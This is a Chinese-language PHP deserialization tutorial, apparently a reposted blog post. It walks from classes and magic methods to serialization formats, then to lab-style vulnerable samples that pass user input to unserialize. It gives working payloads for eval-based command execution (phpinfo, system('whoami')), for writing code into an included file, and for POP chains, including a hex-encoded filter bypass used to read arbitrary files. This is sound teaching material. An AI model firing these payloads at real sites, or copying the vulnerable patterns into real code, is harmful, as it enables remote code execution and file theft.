PHP反序列化
转载于
PHP中的类和对象
类用来定义属性、方法。对象直接把类进行实例化,直接拿来用,使用的时候交给类进行处理。
可以看以下示例:
<?php
// 定义一个 message 类
class message{
// 定义类属性(类似于变量), public 代表可见(公有属性)
public $name = "LQL";
// 定义类方法(类似于函数)
public function info(){
// 可以理解为将 $name 的内容 LQL 取到这里用,后加拼接 I love you
echo $this -> name.", I love you";
}
}
$message = new message(); // 将 message() 类进行实例化
// 执行 message() 类中的 info() 方法
$message->info();
// 输入内容 LQL,I love you
?>
总结来下就是输出了LQL,I love you
首先定义message()类
,在类中定义一个public
类型的变量$name
值为LQL
然后定义了一个类型为public
的方法info()
,作用是输出$name
的内容加上I love you
,
然后将类进行实例化,调用message()类
中的info()方法
,输入结果
这样就简单了解了php
中的类。
魔法方法
为什么会被称为魔术方法
,是因为在触发了某个时候之前或者之后魔术方法会自动调用,其他的方法需要手动调用才可以执行。PHP将这些以__
开头的的类方法成为魔术方法,所以在定义类的时候,除了魔术方法,建议不要以__开头。
常见的方法
方法名 | 作用 |
---|---|
__construct | 在创建对象、初始化对象的时候调用,一般用户对变量的赋值 |
__destruct() | 在对象被销毁、不在使用的时候被调用 |
__wakeup() | 使用unserialize反序列化时触发,使用unserialize() 函数是调用 |
__sleep() | 当对象被seriablize() 序列化的时候被调用 |
__toString() | 当一个对象被当做一个字符串被调用,例如echo 打印对象就会别调用 |
__set() | 对不可访问属性赋值时,就是调用时候属性的时候执行,必须有两个值,$key,$value |
__get() | 读取不可访问属性时调用 |
__call() | 在对象上下文中访问不可访问方法是调用 |
__callstatic() | 在在静态上下文中调用不可访问的方法时触发 |
__invoke() | 当脚本尝试将对象调用为为函数是触发 |
__isset() | 在不可访问的属性上调用isset()或empty()的时候调用 |
__unset() | 在不可访问的属性上调用unset()的时候调用 |
示例
<?php
class animal{
private $name = 'caixukun';
public function sleep(){
echo "\n";
echo $this -> name." is sleep.....";
}
public function __construct(){
echo "\n";
echo "调用了__construct方法";
// __construct() 创建对象时调用
}
public function __wakeup(){
echo "\n";
echo "调用了__wakeup方法";
// __wakeup() 反序列化时调用
}
// public function __sleep(){
// echo "\n";
// echo "调用了__sleep方法";
// // __sleep() 序列化时调用
// }
public function __destruct(){
echo "\n";
echo "调用了__destruct方法";
// __destruct() 当对象被销毁,不在调用的时候执行
}
public function __set($key,$value){
echo "\n";
echo "调用了__set方法";
// __set 在私有属性被赋值的时候调用
}
public function __get($value){
echo "\n";
echo "调用了__get方法";
}
public function __toString(){
echo "\n";
echo "调用了__toString方法";
// __toString 在对象被当做一个字符串调用是执行
}
}
// 创建对象,调用 __construct 方法
$ji = new animal();
echo "\n";
var_dump($ji);
// 赋值私有属性 name 为 hahaha ,调用 __set
$ji->name = "hahaha";
// 获取私有属性 name 值,调用 __get
echo $ji->name;
$ji->sleep();
// 序列化对象
echo "\n";
$ser_ji = serialize($ji);
echo $ser_ji;
// 反序列化对象,调用 __wakeup 方法
echo "\n";
$unser_ji = unserialize($ser_ji);
// 最后结束 调用 __destruct 方法
?>
输出的结果
序列化和反序列化
再开发中通常遇到把对象或者数组进行序号存储,反序列化输出的情况。特别是有些时候需要把数组存储到Mysql
数据库中时,就需要经常对进行序列号操作
php序列化(serialize)
:将变量转换为可保存或传输的字符串的过程。
php反序列化(unserialize)
:在需要的时候,把转换的字符串变回原先的变量使用。
有了这两个过程,数据传输、存储方便很多,程序跟容易维护。
常见的php反序列化方式主要有 : serialize、unserialize、json_encode、json_decode。
序列化示例
<?php
class object{
public $name = "Jackson";
private $age = "18";
protected $height = "1.68";
function info(){
echo "name:".$this->name;
}
}
$new = new object();
$serialize = serialize($new);
echo $serialize;
?>
变量在收到不同的修饰符(public、private、protected)修饰进行序列化时,序列化后变量的名称和长度会发生变化
public : 序列化后长度不变,正常输出
private : 会在变量前加入类的名称,长度比正常多2个字节
protected : 会在变量前加入*,长度比正常多3个字节
private和protected序列化时的规则
private ,序列化时: \x00 + [名称] + \x00
protected , 序列化时: \x00 + * + \x00 + [名称]
序列化中,字母的含义
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
反序列化示例
一次上述的规则,进行反向复原。
使用上次的序列化的字符串,使用函数unserialize()
进行反序列化处理,并将结果使用var_dump
打印:
<?php
class zt{
public $name = 'junglezt';
private $age = '18';
protected $height = '1.68';
function test(){
echo "年龄:".$this->name;
}
}
$new = new zt();
$ser = serialize($new);
// echo $ser;
$un_ser = unserialize($ser);
print_r($un_ser);
?>
这样就了解了简单的反序列化
反序列化漏洞
在进行反序列化的过程中,功能就像是复原了一个对象,如果让攻击者可以操作反序列数据,那么攻击者就可是实现任意类对象的创建,如果一些类纯在自动触发的方法(魔术方法),那么就可以一次为跳板而实现命令的执行。
反序列化漏洞的条件是
1.代码中有可利用的类,并且类中有 __wekaup()、__sleep()、__destruct() 这类特殊条件下可以自动调用的函数。
2.unserialize()函数中的属性可以进行控制。
反序列化漏洞示例-1
<?php
show_source(__File__);
class A{
public $test = "Junglezt";
function __destruct(){
@eval($this->test);
}
}
$new = new A();
$ser = serialize($new);
// echo $ser;
$test_unser = unserialize($_POST['cmd']); // 反序列化同时触发_destruct函数
?>
show_source(__File__)
会将代码显示到页面,定义了一个A
类,public修饰
的$test
变量默认值为Junglezt
定义了一个魔术方法__destruct
,在程序结束是调用,同样在反序列化时也会触发调用
可以看到unserialize()
函数中会接收POST
传参的cmd
值,这就照成了反序列化漏洞
测试
cmd=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
成功执行phpinfo();
函数
O:1:"A" 为一个对象,名称长度为1,名称为A
:1: 拥有一个属性
{} 里面为属性
s:4:"test" 属性的类型为字符串,属性名长度为 4 ,属性名为 test
s:10:"phpinfo();" 属性的值得类型为字符串,属性值得长度为10,属性值得内容为 phpinfo();
所以这里也可以进行命令执行,使用system();
函数
cmd=O:1:"A":1:{s:4:"test";s:17:"system('whoami');";}
成功执行system();
函数
反序列化漏洞示例-2
<?php
class test{
var $test = '123';
function __wakeup(){
$fp = fopen("flag.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>
在执行unserialize()
反序列化的时候触发__wakeup魔术方法将$test
值写入flag.php
,最后包含flag.php
的内容
所以只需要写入一段php代码即可,最后通过包含可以执行我们的php代码,
这里生成一段<?php phpinfo();?>
序列化值
<?php
class test{
public $test = "<?php phpinfo();?>";
}
$new = new test();
$ser = serialize($new);
echo $ser;
?>
传入payload:id=O:4:"test":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
查看flag.php
内容
PHP反序列化利用--POP链构造
上面的例子都是利用magic funtion
魔术方法的自动调用,当危险代码存在普通方法中,就不能指望通过"自动调用"这种方法来达到目的了。
这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在审计代码的时候要盯紧这些敏感函数,层层递进,最后构造出一个有杀伤力的payload
。
POP链简介
常用于上层语言构造特定调用链的方法,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。有时候反序列化一个对象时,由它调用的__wakeup()中有调用了其他对象,可以由它溯源而上,利用一次一次的方法,找到漏洞的位置。
PHP POP CHIAN
把魔术方法作为做最开始的位置,在魔术方法中调用其他函数,寻找相同名字的函数,在于其类中的函数进行关联,这就是POP链
。此时类中的敏感属性都是可控的。当unserialize()传入的参数可控,就可以通过POP链
达到利用特定漏洞的效果。
POP利用技巧
1.常用的方法
命令执行:exec()、passthru()、popen()、system()、shellexec()
文件操作:file_put_contents()、file_get_contents()、unlink()
代码执行:eval()、assert()、call_user_func()、preg_match()
2.反序列化中为了数据丢失,使用大写S支持字符串的编码。
PHP为了更加方便进行反序列化操作,可是使用大写S来执行字符串,使用之后就可以使用16进制
代替字符串
O:2:"zt":1:{S:4:"\6e\61\6d\65";S:3:"\4C\51\4c";}
可以等于下方
O:2:"zt":1:{s:4:"name";s:3:"LQL";}
3.浅copy
在PHP中如果使用&
号对变量A的值指向变量B,这个时候就相当于浅拷贝当变量B改变是,变量A也会跟着改变。在被反序列化的对象某些变量被过滤了,但是其他变量可控的情况下、,就可以利用浅拷贝来进行绕过
$A = &$B;
4.利用PHP伪协议
利用PHP中的伪协议可以实现文件包含、命令执行、任意文件读取。
POP链构造例子--1
<?php
show_source(__File__);
class main {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello bmjoker";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
//$a = new main();
unserialize($_GET['a']);
?>
上面的代码可以看到,evil类
中会执行eval()
方法使我们可以执行命令,但是并没有魔术方法调用__evil
类型。
在创建对象的时候__construct
魔术方法实例化normal类
,然后在反序列化和对象销毁的时候__destruct
魔术方法执行normaal{}
类中的action()
函数,输出hello bmjoker
。
所以这里需要构造POP 链
,使用__construct
魔术方法调用实例化evil
类,然后伪造evil
类中data
的值为phpinfo();
,最后会调用__destruct
魔术方法执行action()
方法,执行eval()
。
构造POP链
<?php
class main{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$new = new main();
$ser = serialize($new);
echo $ser;
?>
最后我们的payload为:O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}
但是不能直接进行传参,因为protected和private
是受保护类,有%00
的空字符
所以我们要进行url编码
才能进行传参
O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}
url编码后
O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
url编码分析
将内容传参到a
POP链构造例子--2
<?php
show_source(__File__);
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
通过观察,这里代码有点多,我们一步一步来,这里最主要的是使用
file_get_contents()
方法获取了$this-name
的值,进行一个任意文件的读取。
那么,想要执行file_get_contents()
方法就需要调用魔术方法to_Strings()
,那么就是在echo或者print
输出之类的地方,追随到__destruct
魔术方法,其中有echo $this
,那么要调用__destruct
需要就需要追随到unserialize()
方法,执行unserialize()
方法的同时会调用__wakeup()
魔术方法。,在__wakeup()
魔术方法中,判断$this-name
的值中是否含有flag
,如果含有flag
,将$this-name
赋值为/etc/hostname
文件,如果不是也会将$this-name
赋值为/etc/passwd
,最后通过GET
方法获取user
的传参。
通过上述的分析,如果我们直接通过反序列化传入$this-name
,不管是什么,都会对其进行赋值。而且只能通过GET
方式获取user
的值。
这里就需要用到浅拷贝$this->name = &$this-user
,这样的方法,让$this-name
的值随着$this-user
的值改变。
最后在其赋值以后,传入user
的值,就会进行浅拷贝,成功读取文件。
构造POP链
<?php
class MyFile{
/*
给 $name 和 $user 赋值
其实赋值,这里的值没有什么意义,后面会被进行替换
*/
public $name = "LQL";
public $user = "";
}
// 实例化 MyFile 对象
$new = new MyFile();
// 进行浅拷贝
$new->name = &$new->user;
$ser = serialize($new);
echo $ser;
?>
这里和普通的序列化值不一样,在最后会有一个R:2
,这里就是进行了浅拷贝。
传入payload
进行测试
input=O:6:"MyFile":2:{s:4:"name";s:0:"";s:4:"user";R:2;}&user=D:/1.txt
&user=D:/1.txt,读取D:/1.txt的内容
读取失败了,观察会判断input
传参中时候含有user
,这里就可以使用S
,使用16进制
编码绕过
更改后的payload:input=O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"use\72";R:2;}&user=D:/1.txt
成功读取D:/1.txt
的内容
未完待续
后续以后在学习,由于没有学过php,打算学一下PHP基础。